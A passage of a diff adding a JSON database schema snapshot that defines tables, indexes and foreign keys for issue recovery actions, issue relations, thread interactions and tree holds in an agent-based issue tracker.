+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "previous_owner_agent_id": {
+          "name": "previous_owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "return_owner_agent_id": {
+          "name": "return_owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cause": {
+          "name": "cause",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "fingerprint": {
+          "name": "fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "evidence": {
+          "name": "evidence",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "next_action": {
+          "name": "next_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "wake_policy": {
+          "name": "wake_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_policy": {
+          "name": "monitor_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "max_attempts": {
+          "name": "max_attempts",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "timeout_at": {
+          "name": "timeout_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_attempt_at": {
+          "name": "last_attempt_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolution_note": {
+          "name": "resolution_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_recovery_actions_company_source_status_idx": {
+          "name": "issue_recovery_actions_company_source_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_company_owner_status_idx": {
+          "name": "issue_recovery_actions_company_owner_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_company_recovery_issue_idx": {
+          "name": "issue_recovery_actions_company_recovery_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "recovery_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_active_source_uq": {
+          "name": "issue_recovery_actions_active_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_active_fingerprint_uq": {
+          "name": "issue_recovery_actions_active_fingerprint_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "cause",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_recovery_actions_company_id_companies_id_fk": {
+          "name": "issue_recovery_actions_company_id_companies_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_source_issue_id_issues_id_fk": {
+          "name": "issue_recovery_actions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_recovery_issue_id_issues_id_fk": {
+          "name": "issue_recovery_actions_recovery_issue_id_issues_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "recovery_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_previous_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_previous_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "previous_owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_return_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_return_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "return_owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_reference_mentions": {
+      "name": "issue_reference_mentions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_issue_id": {
+          "name": "target_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_record_id": {
+          "name": "source_record_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_text": {
+          "name": "matched_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_reference_mentions_company_source_issue_idx": {
+          "name": "issue_reference_mentions_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_target_issue_idx": {
+          "name": "issue_reference_mentions_company_target_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_issue_pair_idx": {
+          "name": "issue_reference_mentions_company_issue_pair_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_source_mention_record_uq": {
+          "name": "issue_reference_mentions_company_source_mention_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_record_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_reference_mentions\".\"source_record_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_source_mention_null_record_uq": {
+          "name": "issue_reference_mentions_company_source_mention_null_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_reference_mentions\".\"source_record_id\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_reference_mentions_company_id_companies_id_fk": {
+          "name": "issue_reference_mentions_company_id_companies_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_reference_mentions_source_issue_id_issues_id_fk": {
+          "name": "issue_reference_mentions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_reference_mentions_target_issue_id_issues_id_fk": {
+          "name": "issue_reference_mentions_target_issue_id_issues_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "target_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_relations": {
+      "name": "issue_relations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "related_issue_id": {
+          "name": "related_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_relations_company_issue_idx": {
+          "name": "issue_relations_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_related_issue_idx": {
+          "name": "issue_relations_company_related_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "related_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_type_idx": {
+          "name": "issue_relations_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_edge_uq": {
+          "name": "issue_relations_company_edge_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "related_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_relations_company_id_companies_id_fk": {
+          "name": "issue_relations_company_id_companies_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_relations_issue_id_issues_id_fk": {
+          "name": "issue_relations_issue_id_issues_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_relations_related_issue_id_issues_id_fk": {
+          "name": "issue_relations_related_issue_id_issues_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "related_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_relations_created_by_agent_id_agents_id_fk": {
+          "name": "issue_relations_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_thread_interactions": {
+      "name": "issue_thread_interactions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "continuation_policy": {
+          "name": "continuation_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'wake_assignee'"
+        },
+        "requested_resolver_policy": {
+          "name": "requested_resolver_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'anyone'"
+        },
+        "effective_resolver_policy": {
+          "name": "effective_resolver_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'anyone'"
+        },
+        "resolver_policy_provenance": {
+          "name": "resolver_policy_provenance",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'inherited'"
+        },
+        "effective_resolver_policy_source": {
+          "name": "effective_resolver_policy_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'requested'"
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_comment_id": {
+          "name": "source_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_run_id": {
+          "name": "source_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "addressee_agent_id": {
+          "name": "addressee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_run_id": {
+          "name": "resolved_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "result": {
+          "name": "result",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_thread_interactions_issue_idx": {
+          "name": "issue_thread_interactions_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_created_at_idx": {
+          "name": "issue_thread_interactions_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_status_idx": {
+          "name": "issue_thread_interactions_company_issue_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_idempotency_uq": {
+          "name": "issue_thread_interactions_company_issue_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_thread_interactions\".\"idempotency_key\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_source_comment_idx": {
+          "name": "issue_thread_interactions_source_comment_idx",
+          "columns": [
+            {
+              "expression": "source_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_addressee_agent_idx": {
+          "name": "issue_thread_interactions_addressee_agent_idx",
+          "columns": [
+            {
+              "expression": "addressee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_thread_interactions_company_id_companies_id_fk": {
+          "name": "issue_thread_interactions_company_id_companies_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_issue_id_issues_id_fk": {
+          "name": "issue_thread_interactions_issue_id_issues_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_source_comment_id_issue_comments_id_fk": {
+          "name": "issue_thread_interactions_source_comment_id_issue_comments_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "source_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "source_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_created_by_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_addressee_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_addressee_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "addressee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_resolved_by_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "resolved_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_tree_hold_members": {
+      "name": "issue_tree_hold_members",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "hold_id": {
+          "name": "hold_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_issue_id": {
+          "name": "parent_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "depth": {
+          "name": "depth",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "issue_identifier": {
+          "name": "issue_identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_title": {
+          "name": "issue_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_status": {
+          "name": "issue_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_user_id": {
+          "name": "assignee_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "active_run_id": {
+          "name": "active_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "active_run_status": {
+          "name": "active_run_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "skipped": {
+          "name": "skipped",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "skip_reason": {
+          "name": "skip_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_tree_hold_members_hold_issue_uq": {
+          "name": "issue_tree_hold_members_hold_issue_uq",
+          "columns": [
+            {
+              "expression": "hold_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_hold_members_company_issue_idx": {
+          "name": "issue_tree_hold_members_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_hold_members_hold_depth_idx": {
+          "name": "issue_tree_hold_members_hold_depth_idx",
+          "columns": [
+            {
+              "expression": "hold_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
